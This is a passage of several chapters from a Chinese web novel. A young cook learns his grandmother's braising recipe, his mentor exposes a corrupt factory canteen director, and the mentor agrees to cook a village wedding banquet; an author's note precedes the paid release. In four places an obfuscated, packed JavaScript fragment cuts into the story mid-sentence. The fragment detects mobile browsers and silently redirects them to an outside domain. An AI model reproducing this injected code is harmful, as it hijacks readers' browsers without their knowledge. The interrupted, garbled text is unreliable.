最近精通了几道菜，让周砚对于调味的把控有了飞跃式的提升，看汤色的能力也显著提升，在最后一勺糖色加到一半的时候，及时收住，把勺子放回陶罐，看向老太太。 老太太点头道：“不错，眼睛很准，差不多就是这个颜色。以后补色就按照这个标准来，卤出来的肉颜色红亮好看，味道巴适。” “厨师嘛，这点眼力还是有的。”周砚有了几分小得意。 老太太接着道：“接下来最重要的就是补盐，加了水，汤味被稀释之后，盐味不够就要加盐……” 从补盐到补香料，再到卤水的日常保养，老太太一点点教，周砚自己上手，一点点学，把所有的细节和比例全部记录在小本本上。 一个小时后，卤水已经滚开，灶膛里的青冈木被撤掉，卤水的颜色已然和昨天周砚抱来的老卤水十分接近。 卤香充满了整个厨房，丢条皮带进去卤都是绝味！ 【一锅接近完美的卤水】 周砚的眼底弹出了一行备注。 没错，就连系统都给出了极高的鉴定评价！ “奶奶，我们俩真厉害。”周砚看着老太太由衷道。 张淑芬老同志说的话，确实不带一点水分。 苏稽第一卤……不对不对，应该是嘉州第一卤，名副其实！ “嗯，你也有点水平。”老太太笑着点头。 今天周砚的表现让她颇为满意，比他妈好多了。 当年她也想过教赵铁英做卤味，这儿媳干活麻利，做事有条理，就是做卤味确实没啥天赋，连调个味都把控不好盐的用量，最后只能放弃。 “要不去弄个猪头来卤？”看着这锅完美的卤水，周砚跃跃欲试， 老太太笑着摇头：“今天不卖你就不要乱整，明天要吃坝坝宴，你弄个猪头怎么吃？” “也对。”周砚点头，说到坝坝宴，又笑道：“那乡厨卤的凉菜，肯定没有我用这锅卤水卤的好吃，毕竟这可是苏稽第一的张氏卤味传承，可惜没机会给宾客们露一手。” “就你名堂多。”老太太笑着白了他一眼。 “奶奶，你还是小瞧了你的影响力，前两天给我砌这个灶台的泥瓦匠，还对你卤的猪耳朵和牛杂心心念念呢，你要是出山，就算只是给我站个台，说我是你的传承人，那我这生意肯定也是火爆的不行。”周砚看着老太太，笑嘻嘻道： “你就当我代言人，我也不白用你的名声，以后你喝的酒我全包了，老张头那里最好的酒，一个月给你打六斤。” “你的小心思倒是不少，给你站台也不是不行，不过我不要酒，要你的味道能过我这关。”老太太看着他，平静道：“别人记得我做的卤味好吃，几十年不忘，都夸我手艺好，那是因为我用心做好卤。你要是做的撇，还说是我的徒弟，那不是败坏我的名声？我才不想躺板板了都要被人戳脊梁骨骂。” 周砚不笑了。 传承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200194|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二字，在这一刻似乎变得格外沉重起来。 老太太的手艺，当年能养活一大家子，让四个儿子娶妻生子，却没有传给任何一个晚辈。 卖卤菜再辛苦，也不会比半夜起来杀牛更累。 老太太不是一个自私的人，她用爱在浇灌家里的每一个晚辈，就连儿媳都敬她，而不是畏惧。 卤菜这门手艺，她在选传承人。 直到周砚自己上门，说想要学。 或许从那天开始，她就在认真考虑这件事。 认定之后，就把她视若珍宝的老卤水倒了一半出来，交给周砚。 那一刻，便是传承的开始。 周砚以前是一心搞钱的美食博主，脑子里转的是流量变现的思路，想着怎么利用噱头或者名人效应打开销路，然后用菜品的质量留住客人。 这一套其实也没毛病，不然周二娃饭店开不了张，已经无了，哪还能起死回生。 但老太太的话，让他对传承二字有了敬畏之心。 这不是一句口号。 也不该是流量密码。 他应该传承的是老太太从她外公那里传承的手艺，是让客人念念不忘的味道，是对客人绝对负责的心态。 “奶奶，我明白了，在我卤的卤味得到你认可之前，我都不会说是你教的。”周砚郑重承诺道：“以后我也不会随便教别人，除非遇到有天分又踏实可靠的徒弟。” 老太太的脸上露出了笑容，点头道：“有你这话，我就放心了。” 接下来老太太又给周砚详细讲了各种卤味的卤制时间和技巧，周砚都一一做了详细记录。 “素菜绝对不能进卤锅，不然一锅卤水就全废了，你要想卤素菜，就从卤锅里单独打十斤卤水出来，然后再加水调味，素菜要不了那么大的盐味，最多卤两次，卤水就要倒掉。” “肥肠和牛杂这类味道比较大的食材，也要单独卤，不然会把老卤水的味道搞混。” “卤牛肉……” 周砚笔记都做了五六页。 “光动笔头子是没用的，你下回要开始卤了，提前跟我说，第一次卤，我来给你盯着，先从不出错开始。”老太太悠悠道。 “要得，我下个星期一就开始卤，从卤猪脑壳开始，你觉得怎么样？”周砚看着老太太问道。 “我看要得。” …… 求月票，求追读！~~   (本章完) 第78章 江湖救急！（重要！） 受孙美丽被抓事件影响最深的，当属厂食堂。 这几日动荡不安，群龙无首，人心惶惶。 不过工人们普遍反映，大锅菜炒的比之前好吃不少，疑似肖师傅重出江湖。 原主厨黄福生这会还在家等待处理结果，有传闻他也牵扯到孙美丽贪腐案中，主厨肯定是没得当了。 食堂主任王德发也在接受调查，除了食堂账目不清的问题，还在调查他和孙美丽之间的不正当男女关系。 不过有传言说，对于所有的指控，两人都坚决否认，咬死不承认。 保卫科和纪委审了三天，愣是没能撬开俩人的嘴巴。 但孙美丽不承认也没用，厂财务部加班加点对账，账目问题已经明确，给食堂送货的供应商也正在盘查中，证据链越来越清晰。 牵扯到的金额，让办案的保卫科干事都咋舌。 这要是完全坐实，牢底都得坐穿。 食堂后厨。 中午营业已经结束，学徒正在清理灶台，厨师们则是三两聚在走廊上抽烟摆龙门阵。 一道肥胖的身影拖着有些沉重的脚步走来，厨师们看到之后连忙把手里的烟藏到身后，笑着打招呼：“王主任。” 王德发看起来有些沧桑，短短三天，两鬓竟是生出了不少白发，胡子拉碴，深陷的眼眶是浓重的黑眼圈，脸也消瘦了不少，看起来像是老了十岁一般。 王德发脚步一顿，目光在众厨师的脸上扫过，声音有些嘶哑的道：“肖磊呢？” “肖师傅，在水房那边磨刀呢。”有个厨师应道。 王德发闻言，径直往水房方向走去。 “王主任怎么一下变得那么沧桑了？” “怕了呗，我听保卫科的朋友说，孙美丽牵扯的金额可能超过五万块，要是牵扯进去，说不定要吃花生米的。” “五万！嘶——这么多！” “这两年采购的肉、菜和前两年采购的根本不是一个档次的，肖师傅不就是因为这个**的。” “那他今天找肖师傅做啥子？” 厨师们小声议论着，目光都望向了水房方向，还有人往那边挪了几步。 呲！呲！呲！ 水房里，菜刀在磨刀石上来回拉扯，肖磊弓着腰，神情专注而认真。 菜刀磨得铮亮，刀锋泛着寒光。 王德发出现在门口，挡住了光，投下了一道阴影，刚好落在磨刀石上。 王德发沉声道：“肖磊，我们谈谈吧。” 肖磊用手舀起一点水泼在刀上，缓缓直起身来，用指腹轻轻刮着刀刃，这才抬眼看向王德发，笑道：“我们有啥子好谈？” “我的调任通知今天下来了，马上就要调到临邛去，走之前，我作为食堂主任，决定要为广大工友最后做一件好事。”王德发咧嘴，露出了一口黄牙，声音嘶哑而低沉：“我已经向副厂长递交了提名书，让你当厂食堂的主厨，以及小炒区的负责人，让工友们能够吃上好吃、放心的大锅菜和小炒。” 肖磊冷笑道：“你这种吊颈鬼扯眉眼——死不要脸的人，会安好心？跟我说这些，莫非还想我感谢你吗？” “感谢就不必了，反正以后我们也不会再见面。”王德发的表情变得有些阴鸷，捏着拳头，声音微颤：“你们师徒俩个硬是克我，逼我不得不离开，周砚有点本事，把那破饭店经营的有声有色，把食堂小炒的生意都抢完了，这次的事情也是因他而起。” “不过没关系，你们师徒两个都厉害，那就让你这个师父跟他去斗。我倒要看看，工人是喜欢吃你这个师父做的菜，还是喜欢你徒弟做的，总要分个高下死活！” “我去了临邛，看你们狗咬狗，一嘴**！” 王德发咧着嘴笑，笑容中透着几分癫狂。 “你跑不脱。”肖磊把手里的菜刀收回一旁桌上放着的布袋，看着王德发的目光带着几分怜悯：“今天早上我已经把这两年收集关于食堂的**证据，全部交给保卫科的罗科长，这两年给食堂送猪肉最多的是王七，他是你本家侄儿，里面掺了好多瘟猪肉，你进去之后再好好跟保卫科干事对账吧。” 王德发脸上的笑容僵住，眼睛瞪大，嘴唇微颤，“你……你胡说八道！” 门外传来了一阵脚步声，罗卫东带着两名干事来到水房门口，神情严肃道：“王德发，有人**你在任期间，违规采购大量瘟猪肉，涉嫌危害工人生命健康，严重违法违纪。” “罗科长……”王德发脸都白了，试图争辩。 两名干事已经上前，一左一右将他控制住，都没给王德发好脸色。 “对了，忘了跟你讲了，今天我已经辞职了。”肖磊把布口袋挎在肩上，看着王德发笑道：“蓉城有个酒楼请我过去当主厨，工资比我在厂里当主厨还高。还有个朋友喊我去嘉州跟他一起开饭店，店铺都装修好了，开在乐山大佛码头边上，说是一年能挣上万块，我还在考虑去哪边。” “你……你……”王德发气得胸脯剧烈起伏，脸色更难看了。 “周砚是因为我，被你这个奸人所害开除的，这仇我这个当师父的肯定不会忘。”肖磊冷眼看着他，“你让我当墩子，我混着等退休无所谓，但你要让我害徒弟，那我一定先把你送进去。” “这破班我也上够了，我是国家二级厨师，到哪里别人都要喊一声师傅，饿不死的。” 说完，肖磊跟罗卫东点了点头，出门去了。 走廊外，十几个厨师、学徒靠墙站成一排，满眼尊敬地看着他。 “肖师傅，慢走。” “有空常回来看看。” “拿去打伙抽嘛。”肖磊笑着从口袋里摸出一包烟丢给了其中一个厨师，摆了摆手：“走了。” 肖磊背着包出门去。 王德发则是被两个干事像死猪一样架了出来，双腿发软，面如菜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200195|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他似乎已经看到了自己的结局。 “呸！” “死肥猪！” 厨师们一脸嫌恶地看着他，骂着最难听的话。 “肖师傅，你再考虑考虑嘛，现在食堂少一个能主持局面的人，你要是愿意留下，你当主厨，同时还升上去当食堂副主任……”刘雨生副厂长在食堂门口拦住了肖磊，苦口婆心地劝说道。 “不好意思刘厂长，我心意已决。”肖磊平静说道，推着车往厂大门方向走去。 “唉。”刘雨生看着肖磊的背影，长叹了一口气。 …… “啥子安？让我去办坝坝宴？” 饭店门口，周砚看着满头大汗的周杰，一脸吃惊。 周杰接过赵嬢嬢递来的海碗，吨吨两口把一碗水喝完，一脸焦急道：“做坝坝宴的乡厨回去拿香料，骑车被拖拉机别了一下，把手摔断了，现在在苏稽卫生院躺着呢。 我刚从医院过来，他疼得惊叫唤，让我们自己想办法另外请个乡厨来办。事发突然，上哪去找乡厨嘛，明天日子好，问了五六个都没得空。 我们家就你是厨师，我老汉喊我来问你，看你能不能接手，不然就得去嘉州请人了。” “我肯定不行，我擅长的菜都挂在墙上，这些菜撑不起一场坝坝宴。”周砚摇头，这情况确实发生的很突然，病急乱投医都找到他这来了。 坝坝宴一般要搞九大碗，他现在哪做得出来。 这会已经下午，乡厨的菜估计都备的差不多了，那他更接不了手。 周浩现在已经是排长，他们老周家挂两块一等功臣牌匾，肯定会有领导来参加婚宴。 这场宴席，得办得体面。 周砚不是愣头青，哪敢去强背这口锅，让他弄弄卤味还行。 “那……那可怎么办？”周杰有点急了。 “莫要慌，天塌不下来。”一直没开口的老太太站了起来。 周杰自觉地闭上了嘴巴，众人纷纷看向老太太，像是找到了主心骨。 老太太看着周砚问道：“周砚，你学厨两年多，有没有认识能操办坝坝宴的厨师？要能腾得出两天时间的。” 周砚一下就想到了他师父肖磊，点头道：“我师父肖磊是国家二级厨师，以前作为主厨能管好纺织厂近三千人的大锅菜，我可以去找他问问，看他能不能抽空来帮忙。” 老太太点头：“快去，要是肖师傅抽不出空来，还要抓紧去嘉州找厨师。” “要得。”周砚拿了包烟揣兜里，快步往厂门口走去，正准备找保卫科的干事递话，便瞧见一道熟悉的身影挎着个布包，推着自行车朝厂大门走来。 “师父！”周砚眼睛一亮，快走两步迎了上去：“江湖救急！你明天有没有空帮忙办一场坝坝宴？” …… 准备明天上架！   (本章完) 第79章 上架感言 读者老爷们，决定生死的关键时刻到了！ 今晚12点，小破店就要上架了。 今晚求首订~！！ 上一次写上架感言还是18年奶爸餐厅那本，一晃都七年了。 时过境迁，美食文都变成小众文了。 承蒙各位厚爱，让小破店这种题材小众，写法也小众的书能走到这里，轻语拜谢。 这几年兜兜转转，最后还是回来开了这本美食文。 开书的时候朋友很惊讶，说榜单上都看不到美食文了，早过气了，现在根本没没什么读者看美食文。 我不信邪，我想在美食文里加点烟火气，加点温馨治愈。 在年代文里不去写极品亲戚和各种恶心反派，写点家长里短，写点互帮互助，写周砚专注于经营饭店和打拼他的小小事业。 是很难写，一章要写两三个小时，然后不停熬夜熬夜…… 但写完某些情节，蹦出一个有趣的片段的时候，会很兴奋，忍不住跟我老婆分享突破自我的快乐。 看到章评，我知道你们也感受到了这种快乐。 文字让作者和读者之间产生共鸣，大概是每一位创作者的创作动力吧，比夜里的浓茶还提神。 还得是你们。 …… 聊聊为什么写四川，写乐山吧。 因为轻语在四川已经呆了八年了，娶了川渝暴龙（笑），现在定居在这边。 我觉得四川人的精神状态很特别，一般网上称之为‘神’，我觉得应该是松弛感。 他们对于生活的态度，会让你觉得过好当下比什么都重要，群体的乐观，会让人觉得生活很安逸。 包括四川话，也处处透着趣味，和生活智慧，所以我在书里大量的使用了四川话和歇后语。 至于为何选择乐山开局，去年我去了四趟乐山，很少有一座城市会让我因为吃的去了一回又一回，每一次都有新的惊喜。 苏稽跷脚牛肉、临江鳝丝、钵钵鸡、甜皮鸭、牛华串串香、鲜烧牛肉、红烧肥肠、麻辣烫、冒菜、绵绵冰…… 举不胜数。 乐山的辣是温柔的，各种美食特色鲜明，以香辣为主，还有不少略带甜口，让我脆弱的肠胃更容易承受。 所以在我决定写美食文的时候，乐山就在我脑子里挥之不去，最后选了苏稽作为切入。 至于写破产饭店开局，因为轻语和媳妇前两年确实开过个小餐厅，最后破产跑路了。 没来系统，当不成周砚，更像是周亮亮两口子，疫情来了，立马关门，灰溜溜跑路。 实惨！ 第一次写年代文，手边放了一叠地方志、物价志，也找了长辈咨询了不少。 肯定还是会有错漏之处，在这里先说声抱歉。 但轻语不是数据党和考据党，我更在意如何把故事写的有趣，些许错漏，还请多多包涵。 —— 然后是致谢环节： 感谢我宇宙第一好的读者们！ 感谢我的主编绿豆大大和责编好运大大！ 感谢这段时间帮我改错别字，熬夜聊剧情，不断纾解我焦躁情绪，还把家务活全包的老婆——渔火大大。 她其实也是一名作者， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200196|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们是作者群里拼字认识的，我从浙江来找她，最后在四川定居。 朋友们，四千里路，一切皆有可能。 小周和小夏怎么就不行呢？ 她们比我们优秀，也更有勇气，对吧！ 希望你们也有笑对生活的勇气！ 别担心，生活里总有一些小美好的。 没有的话，请上网找—— 你会用智能机的！ …… emmm 没想到写感言那么快乐，一下就一千多字了，比写正文还快！ (｀Д)!! …… 接下来是最重要的环节了，更新预告： 新书期一个月零七天，轻语更了二十三万字！ 写得慢，更得多，导致手里存稿完全耗空，现在我要赌上一切。 今天晚上12:00，先更四章一万+！ 明天白天至少还有两更！ 总计六更！ 上架后保持每天两更，6k保底。 加更规则的话： 500月票加一更！ 盟主加两更！ 白银盟加二十更！（没有也要写上！） 这个月的月票还欠了6更，上架会还上的！ 总之： 读者老爷们，请挺轻语一把！ 十二点后。 求首订！ 求月票！ 求打赏！ 小破店，给我冲！！！ 新书月票榜，我想试一次！ 冲冲冲！ (本章完) 第80章 大厨来了！（求首订！） 肖磊今年四十五，一米七左右，穿件洗得起毛的白色厨师服，脚上是一双千层底的布鞋。 国字脸，头发一丝不苟的梳成二八分，鬓角有了几根白发，发际线有点危险，不过人看着挺精神的，卷起的袖子露出粗壮的小臂，看得出来在厨师界很有权威。 这是周砚来到这里后，第一次见到肖磊，可师父俩字脱口而出，没有丝毫违和，看着他也有种亲近感。 在小周的记忆中，肖磊是一个严格的师父，学厨的时候对他要求极高，做错了免不了一顿臭骂，然后再仔细地教一遍。 小周炒菜、烧菜没学到精髓，那是因为才刚开始学没多久，但刀工在师父的严格要求下，水准还是挺高的，在食堂同年龄的学徒里，当仁不让的第一。 “明天的坝坝宴？”肖磊看着周砚，疑惑道：“哪家办坝坝宴，今天才出来找厨师？” “是我哥的婚宴，本来是请了乡厨的，结果乡厨中午骑车被拖拉机别了一下，摔断了手，做不了事了。明天日子好，到处联系乡厨都没得空，实在没办法了，我就想到了师父你。”周砚一脸诚挚地看着他：“三十桌的坝坝宴，这种场面，除了师父，没人镇得住。” “你这张嘴倒是变油滑了，难怪生意能做得起走。”肖磊笑了笑，以前三巴掌打不出一个屁来的小孩，现在都晓得怎么捧人了。 “我说的都是真心话，不过自己开店确实挺锻炼人的，不学着说话客人门都不进。”周砚敛了笑，收着点。 过去两年半，小周和师父待在一起的时间比跟家里人更多，肖磊应该是最了解他的人。 好在开店三个多月没见，一个学徒变成独当一面的老板，还是有托词的。 “三十桌的坝坝宴可不简单，锅具、灶、碗筷都要提前准备，帮工要提前联系，凉菜还要提前准备卤水，我兜里就两把菜刀，其他啥子都没得，这坝坝宴怕是接不住。”肖磊拉开布口袋，露出里边的两把菜刀，摇头说道。 “锅具是那个乡厨现成的，昨天就已经拉到场坝上堆起，临时土灶也已经砌好，碗筷主人家备好了的，帮工也是村里现成的，这些都提前联系好了。卤味我可以负责，我最近跟我奶奶学会了。”周砚扫了一眼口袋里两把雪亮的菜刀，一把切片刀，一把斩骨刀，有些疑惑：“不过师父，上班时间，你背着菜刀要去哪里？” “还上啥子班，我今天辞职了。”肖磊把包重新挎上。 “辞职？咋这么突然？”周砚有些震惊，这两年肖磊被王德发各种打压，从主厨变成墩子他都没辞职，现在王德发倒了，怎么突然辞职了？ “这班上起没意思，不球上了，准备去嘉州或者蓉城的大饭店试试看，或者跟你一样自己开个饭店干。”肖磊笑着解释，又有些疑惑地看着他：“你跟你奶奶学的卤味？” “现在经济发展很快，干个体户比上班强。”周砚点头，但总觉得师父辞职的说法有点奇怪，又解释道：“以前苏稽桥头摆摊的张记卤味，就是我奶奶，当年也是红极一时。” “张记卤味的张嬢嬢是你奶奶啊？她的卤味嘉州第一没得说，当年你师爷在世的时候都爱吃她做的卤味。”肖磊闻言眼睛一亮，连连点头：“你倒是找了个很厉害的卤菜师父。” “我的师父都是顶尖的。”周砚咧嘴笑，跟着道：“师父，那你这两天刚好有空，就把这个坝坝宴接了嘛，我二伯他们说了，还是按照三块钱一桌的价钱算工费，到时候你把那个乡厨的厨具算点钱给他，这不就是出来单干开门红。” “三块钱一桌？这价钱怕不是收的有点高？”肖磊沉吟。 “这是那个乡厨谈的价钱，他的厨艺比你撇多了，他能值得起这个价，你肯定不虚撒。”周砚笑着道：“行情就是这样，价钱要收够，要是大家吃了觉得好，下次都想请你去办坝坝宴，你才喊得起价。” 肖磊听完打量着周砚，笑着点头道：“你出来三个多月，倒是比我都看的长远了。” “师父，那你就是答应了嘛。”周砚跟着笑。 肖磊点头：“要得，反正左右没事，先帮你哥把这坝坝宴办了，结婚事情本来就多，遇到这种事也糟心。你带我去周村嘛，先把上个厨师列的菜单看看，把要提前准备的菜准备好。” “要得！”周砚喜出望外，带着师父往餐厅走，将此事告知了周杰和老太太。 “太好了，肖师傅，实在太谢谢你了。”老太太看着肖磊道谢。 “张嬢嬢，你客气了，周砚是我的徒弟，我帮点小忙也是应该的。”肖磊笑着道：“您做的卤味，我师父念了好多年，一直说想吃你卤的牛肠，我要晓得周砚是你孙儿，前年就该来求你卤两斤牛肠给他再尝尝。” “你师父是纺织厂食堂原来的主厨孔师傅？”老太太问道，“他身体还好吗？” “对，没想到你还记得他，我师父去年已经走了。”肖磊微笑着道。 老太太面露回忆之色，“他以前三天来一回，每次来买半斤牛肠，一只猪耳朵，自己带个杯杯，到张老头那里打二两酒，就在石板桥头的长条石上坐着，吃完喝完再回家，我印象深得很。” 肖磊笑道：“我师母不让他喝酒，他嘴馋了就偷摸来喝二两，喝完沿着防洪坝走一圈，到家酒气散的差不多，不然还进不了卧室门。这事他后来还经常跟我提起，感慨不让摆摊之后，再吃不到您做的卤味，酒都少喝了不少，总觉得少点滋味。” 周砚在旁听得津津有味，和美食有关的故事，就该是这样有烟火气和人情味的。 两人闲叙几句，周砚和老太太说了卤味他来做的事。 老太太听完点点头：“明天一早你拿了猪头和牛腱子那些，把我载着一起过来，我看着你做。” “要得。”周砚点头，这事就算是定下了。 卤水是靠肉养的，越卤越香，风味越好。 三十桌的酒席要用到的猪头肉和牛肉数量非常可观，可以让他这锅刚调制好的卤水变得更完美。 他马上要开始卖卤味，这次坝坝宴发挥好了，口碑立马打出来。 这还是纺织厂之外的圈子，全是粉嫩的新客。 “那你晚上还回来炒菜不呢？”赵嬢嬢看着骑在车上的周砚问道。 周砚回头道：“我把事情安排妥当就回来，晚上肯定要把菜卖完。” “要得。”赵嬢嬢点头。 “锅锅，我等你回来做饭啊。”周沫沫挥着小手，奶声奶气地喊道。 “好。”周砚笑着点头。 一行人骑上车，便往周村方向去。 这年代物资匮乏，大家都没钱，排场不好讲究，但讲究一个热闹。 周杰他家位于村口，门口的田坝已经被平整好，摆了二三十张桌子。 门口砌了六个临时灶台，旁边堆着几十个大号蒸笼，一摞摞叠的有一人高。 亲戚、朋友都来帮忙，有搬桌椅板凳的，有贴喜字、窗花的，小小院子里热闹的很。 不过这会门口长条石上坐着几人在抽烟，愁眉不展。 乡厨突然把手摔断，这坝坝宴准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200197|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一半，突然就卡住没法继续。 周家几兄弟都在找人找关系，就连亲家那边也在帮着联系厨师。 事发突然，一时半会哪里招得到合适的厨师？日子是定好的，请帖也发了，明天客人就要来了，厨师却没着落，这可把主人家愁坏了。 周家老二周泽把手里的烟头灭了，黝黑的圆脸上满是忧色，站起身来道：“我去一趟嘉州，我在那边有几个朋友，看能不能找个靠谱的厨师回来。” “爸，我跟你去，我也有几个朋友在嘉州，临时找，怕是得多问几家。”穿着军装的周浩跟着起身。 周泽摇头，拍了拍他的肩膀道：“你当新郎官的就别去了，我去镇上找你哥，让他跟我去。你放心，就算是出高价从饭店里请厨师，我都把人请回来把这坝坝宴办好……” “那不是周杰和周砚他们吗？后边还跟了个穿厨师服的，肯定带了厨师回来！”周海眼尖，指着远处路上骑来的三辆二八大杠说道。 “还真是他们！” 人哗啦啦全站起来了，纷纷向着村道方向看去，眼睛皆是亮了起来。 周砚车上坐着老太太，路太颠簸，没敢骑的太快，晃悠悠到村口二伯家门口的时候，门口已经站满了望眼欲穿的亲戚。 众人把车靠边停好。 “奶奶。”周浩两步上前，先给老太太打了声招呼，笑着拍了拍周砚的臂膀，“周砚，长高了点，也变结实了。” “浩哥。”周砚也是笑着应道。 堂哥周浩，今年二十六，当兵八年，一年多没回家探亲了，身高一七五，身材精壮，穿着军装，理的寸头，看着很精神。右手全是老茧和疤痕，气质看起来和小叔很接近，少了几分狠劲，可能和小叔眼角那道疤有点关系。 “周砚，这位师傅是？”周浩一边掏烟，一边看着肖磊问道。 周泽等人也是面露紧张和期待之色。 “这位是我的师父肖磊肖师傅，纺织厂食堂前厨师长，国家二级厨师，精通红案，是纺织厂工人最喜欢的大厨。”周砚下了车，给众人郑重介绍：“我师父这两天刚好有空，在我的盛情邀请下，同意来帮忙接手这次坝坝宴。” 众人听完，眼里亮起光，齐齐松了一口气。 还是周砚靠谱啊！ 竟然请了这样一位大厨来。 纺织厂可是嘉州效益最好的国营大厂，能在厂食堂当厨师长，厨艺肯定好！ 而且还是国家二级厨师，那就更不用质疑了，不是普通乡厨能比的。 “肖师傅，很感谢你能来，这次坝坝宴就拜托你了！”周浩连忙抽出两根烟，递给肖磊。 肖磊双手接过烟，笑着道：“不客气，你当兵保家卫国，结婚这种大事，我们来搭把手是应该的。” “肖师傅，实在太谢谢你了，不然我们都不晓得去哪里能找到合适的厨师。”二伯周泽也是满脸感激，拿了包红梅塞到肖磊手里，又沉吟道：“就是这个工钱……” “工钱就按上一个师傅说的就行。”肖磊微笑道。 “要得！谢谢你。”周泽抓着肖磊的手，感激不已。 时间紧急，去嘉州根本来不及，价钱肯定要翻倍。有肖师傅在，太好了！ “妹夫！妹夫！找到了！大厨给你找到了！” 这时，村道上又来了三辆自行车，骑在最前边的青年挥着手，远远的就扯着嗓子喊道。 不好意思，操作延迟了一下！ 求月票！求订阅！！！ (本章完) 第81章 师父糊涂啊（第二更） 众人纷纷回头，看着三辆自行车由远及近，带起一阵黄土飞扬。 “那不是你大舅哥和老丈人吗？他……他们也请了个厨师来？”周泽眼睛微微眯起仔细看了看，有些惊讶。 刚刚还在为找不到厨师发愁，现在一下来了两位大厨。 “这……”周浩顿时有点尴尬，中午乡厨摔了的事情发生后，他大舅哥和老丈人心急火燎地帮着去找厨师，结果还真给他们找来了。 “又来一位大厨。”肖磊笑吟吟道。 “我哥老丈人那边也在帮着找厨师，两家人齐心办事，这不凑巧撞上了。咱们先看看情况，我觉得这种场面还是得你才能控得住。”周砚陪着笑道，他肯定站他师父这边。 苏稽镇上一共两位二级厨师，另一位是国营饭店的厨师长，周砚不信他们能把那位请来。 肖磊是能撑得起场面的厨师，能把坝坝宴办得体面。 而且，说是帮忙，这其实也算一个不错的项目。 师父刚辞职，还没定下要做什么，这一单做好有六七十的收入，能抵一个月工资，也是一条路。 不过人是浩哥老丈人那边请来的，怎么处理还得看他，肯定不能让舅哥面上过不去。 一会功夫，三辆自行车便到了门口。 当先的是个矮壮青年，周浩的大舅哥陈小龙，这天气只穿一件蓝色背心，一下车就忙着给周浩介绍起后边下来的男人：“周浩，这位是我表叔，郑强郑师傅，他在蓉城餐厅当大厨的，今年刚考了国家三级厨师。蓉城餐厅晓得撒？高档餐厅，外宾都要接待的。” 这话把众人的兴致一下提了起来，纷纷打量起那人。 蓉城餐厅！那确实非常有名气。 村里有人去蓉城，要是能吃一回蓉城餐厅，回来都要吹嘘半年。 没想到陈家竟然有个蓉城餐厅的大厨表叔，这要是他来掌勺，那说出去老周家可太有面子了。 郑强矮胖矮胖的，穿着件宽松的白色厨师服，胸口绣着‘蓉城餐厅’，看着应该三十五六岁，听着陈小龙的介绍，瞧见众人的反应，嘴角微微上扬，有几分自得。 周浩也是连忙掏烟、递烟，客气道：“表叔，感谢你能过来。” 郑强接过烟，笑着道：“没得事，月月也是我看着长大的，你们结婚我肯定愿意给你们出份力，解决这个困难。反正我从蓉城回来，接下来也准备干乡厨。” 周砚眉梢一挑，好家伙，这位表叔和他一样目标明确啊。 肖磊盯着郑强看，嘴角露出了一丝古怪的笑容，居然是这小子。 周浩没那么多弯弯绕绕，面带着笑容道：“表叔，实在是不好意思，刚刚周砚请了他师父肖师傅，我们已经请他帮忙接手坝坝宴了。让你跑一趟，实在不好意思。” “啊？”郑强脸上的笑容凝住，看了眼一旁站着的肖磊和周砚师徒俩，两人都穿着厨师服，倒也不难认。只不过，明显没认出肖磊。 他把烟别到耳朵上别了两回才别住，有点尴尬地挠了挠头：“既然这位师傅先来，那……那就算了嘛。” 陈小龙也是尴尬挠头，把周浩拉到一旁小声道：“妹夫，表叔是大厨，蓉城饭店的大厨，你再考虑哈嘛。” “哥，人要有信，肖师傅也是大厨，是周砚用人情请回来的，我已经和他定了这件事，不好再变的。”周浩态度坚决，但语气柔和了几分：“我晓得表叔很厉害，也是看在月月和你们家的份上才会来这一趟，这份情义我会记着的。” 陈小龙闻言，也就没什么好说的了。 他这个当兵的妹夫，性格刚直，认理不认亲，但对妹妹很好，挑不出毛病。 这事吧，这样处理也没啥毛病，都是来帮忙的，哪能说定了又把人给退了，那不是让人下不来台嘛。 陈父在一旁站着，也没开口，琢磨着怎么宽慰郑强，毕竟人是他们请来的，结果到了地方又不让他做。 二伯手里拿着一包烟，欲言又止。 老太太在旁边看得直摇头，准备站出来说两句场面话。 